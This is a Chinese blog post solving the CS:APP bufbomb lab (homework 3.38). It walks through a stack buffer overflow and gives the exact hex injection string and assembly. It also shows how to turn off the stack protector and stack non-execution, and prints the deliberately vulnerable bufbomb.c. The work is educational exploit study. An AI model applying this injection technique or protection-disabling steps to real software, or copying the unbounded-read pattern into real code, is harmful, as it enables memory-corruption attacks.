Chinaunix首页 | 论坛 | 博客
  • 博客访问: 22152
  • 博文数量: 5
  • 博客积分: 235
  • 博客等级: 二等列兵
  • 技术积分: 65
  • 用 户 组: 普通用户
  • 注册时间: 2010-06-30 20:06
文章分类

全部博文(5)

文章存档

2012年(2)

2011年(2)

2010年(1)

我的朋友

分类: LINUX

2010-06-30 22:20:13

前两天抽出时间做了一下cs:app的3.38homework,早就想做但是总也没时间。
题目就是对一段代码进行缓冲区溢出攻击,说白了就是修改函数的返回地址,让其执行你指定的指令。

环境: ubuntu 10.04, gcc-2.95, gdb-6.8, objdump-2.20.1
这里的gcc用的是比较老的版本,基本同cs:app书中的一致。新版本gcc(现在都是4.4以上了)有栈保护,需要多一步操作。

这个方法需要知道运行时的栈基址%ebp,所以需要在gdb下运行,根据不同的%ebp来输入不同的字符串。
在test()从getbuf()返回后,%eax的值为1,我们要做的是从getbuf()返回后,先跳去(0xbfcc5fac)执行buf[]中给定的编码,从而将%eax修改为$0xdeadbeef,然后才跳到test()的下一条指令继续执行(由pushl $0x80485fb和ret两条指令来完成)。

1. 编译bufbomb.c
gcc -o bomb bufbomb.c -g

2. 反编译查看对应test()调用getbuf()后的返回地址
objdump -d bomb > dump_bomb
或者在运行时,从栈中查找,如图中绿色所示,这个值编译后是不会变的

3. 将要用到的汇编指令写到.s文件中,编译后再用objdump获得对应的指令编码
即将

 movl $0xdeadbeef, %eax #修改eax,eax是test的返回值,原来的值为1
 pushl $0x80485fb       #压入原来的test返回地址
 ret                    #弹出原test返回地址并执行

的编码从buf[0]开始填入,此处编码共11个字节,剩余的一个字节buf[11]随便填。

4. 所以运行时应输入的字符串为:
b8 ef be ad de 68 fb 85 04 08 c3 00 d8 5f cc bf ac 5f cc bf
其中从开始到c3都是第3步汇编的编码对应buf[0]-buf[10],其中c3为ret的编码;00无意义,用来填充buf[11];紧接着为getbuf()保存的栈地址(这个是不能修改的);最后四个字节就是新的返回地址,即getbuf()的%ebp-12。
这些字符串和下图的栈结构相对应。栈从上到下,地址由高到低。

栈内容
注释
 reserved ebptest()的栈
 ...
0x80485fb
test()的栈顶
这是原返回地址
运行时应该被覆盖成0xbfcc5fac
0xbfcc5fd8getbuf()的栈
当前%ebp=0xbfcc5fb8
 buf[8]-buf[11]
 buf[4]-buf[7]
 buf[0]-buf[3]地址0xbfcc5fac
  ...
 getbuf()的栈顶
        图:执行到getbuf()时的栈结构


--------------------------迷茫的分割线--------------------------
Updated on 2012/9/25

最近在看cs:app 2e,机缘巧合把这个小实验又做了一遍
当然这次没有gcc-2.95了,在CentOS-5.5 i386上,gcc-4.1.2。步骤跟以前的基本一致,但是也碰到一些问题。
其实在比较新的系统,要真正利用buffer overflow做一些hack,一般有3个问题要克服,如书中所说:
1. 栈随机化
2. 栈破坏检测
3. 栈不可执行

但我们毕竟只是做做实验,只要找到上面3点应对措施即可:
第1点,以前用的bufbomb.c没有对main的栈作一些填充,导致test及后续的栈帧每次执行都是不同的(这其实也是为了防止这种buffer overflow的攻击),每次通过gdb来获取test()的%ebp。最近才发现新的bufbomb.c加了一个小workaround,可以保证test()在每次执行的时候都栈帧(%ebp)不变 ;-)
第2点,在gcc编译时,显式指定-fno-stack-protector选项,来去掉保护。
第3点,gcc 4.0+应该默认都是栈不可执行的,这个可以通过execstack来查看和修改栈的执行权限。

为了解决实验中由于系统和gcc版本引起的segmentation fault问题,最重要的第1步要注意:
编译bufbomb.c:
$ gcc -o bomb bufbomb.c -g -fno-stack-protector
并确保栈可执行:
$ execstack -s bomb


这样上面3种问题都解决了,剩下的后几步跟以前一样。
。。。
最后程序根据输入,输出:"0xdeadbeef"
最后贴上新的bufbomb.c源代码,enjoy!

点击(此处)折叠或打开

  1. /* Bomb program that is solved using a buffer overflow attack */

  2. #include <stdio.h>
  3. #include <stdlib.h>
  4. #include <ctype.h>

  5. /* Like gets, except that characters are typed as pairs of hex digits.
  6.    Nondigit characters are ignored. Stops when encounters newline */
  7. char *getxs(char *dest)
  8. {
  9.     int c;
  10.     int even = 1; /* Have read even number of digits */
  11.     int otherd = 0; /* Other hex digit of pair */
  12.     char *sp = dest;
  13.     while ((c = getchar()) != EOF && c != '\n') {
  14.     if (isxdigit(c)) {
  15.         int val;
  16.         if ('0' <= c && c <= '9')
  17.         val = c - '0';
  18.         else if ('A' <= c && c <= 'F')
  19.         val = c - 'A' + 10;
  20.         else
  21.         val = c - 'a' + 10;
  22.         if (even) {
  23.         otherd = val;
  24.         even = 0;
  25.         } else {
  26.         *sp++ = otherd * 16 + val;
  27.         even = 1;
  28.         }
  29.     }
  30.     }
  31.     *sp++ = '\0';
  32.     return dest;
  33. }

  34. /* $begin getbuf-c */
  35. int getbuf()
  36. {
  37.     char buf[12];
  38.     getxs(buf);
  39.     return 1;
  40. }

  41. void test()
  42. {
  43.     int val;
  44.     int array[1];
  45.     printf("Local variable at %p\n", array);
  46.     printf("Type Hex string:");
  47.     val = getbuf();
  48.     printf("getbuf returned 0x%x\n", val);
  49. }
  50. /* $end getbuf-c */

  51. int main()
  52. {

  53.     int buf[16];
  54.     /* This little hack is an attempt to get the stack to be in a
  55.        stable position. By experiment, found that position of stack
  56.        varies by one program execution to the next, but only in the low
  57.        order 23 bits.
  58.     */
  59.     int offset = (((int) buf) & 0x7FFFFF);
  60.     int *space = (int *) alloca(offset);
  61.     *space = 0; /* So that don't get complaint of unused variable */
  62.     printf("Added offset 0x%x, should move stack to around %p\n",
  63.        offset, (char *) buf - offset);
  64.     test();
  65.     return 0;
  66. }


阅读(1442) | 评论(0) | 转发(0) |
给主人留下些什么吧!~~